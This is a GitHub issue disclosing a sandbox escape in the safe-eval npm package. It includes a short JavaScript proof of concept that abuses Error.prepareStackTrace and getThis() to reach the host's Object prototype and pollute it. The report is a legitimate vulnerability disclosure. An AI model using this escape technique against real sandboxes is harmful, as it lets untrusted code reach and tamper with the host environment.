Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Sandbox Escape Bug #28

Open
seongil-wi opened this issue Jan 2, 2023 · 0 comments
Open

Sandbox Escape Bug #28

seongil-wi opened this issue Jan 2, 2023 · 0 comments

Comments

@seongil-wi
Copy link

Hellow, we found sandbox escape vulnerability in the latest version of safe-eval

var safeEval = require('safe-eval')

let code = `
    (function() { 
        Error.prepareStackTrace = (_, c) => c.map(c => c.getThis()).find(a => a); 
        ret = (new Error()).stack;
        ret.__proto__.polluted = "ret.__proto__.polluted";
    })()
`
safeEval(code);

const polluted_result = {}["polluted"];
console.log(polluted_result);
# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant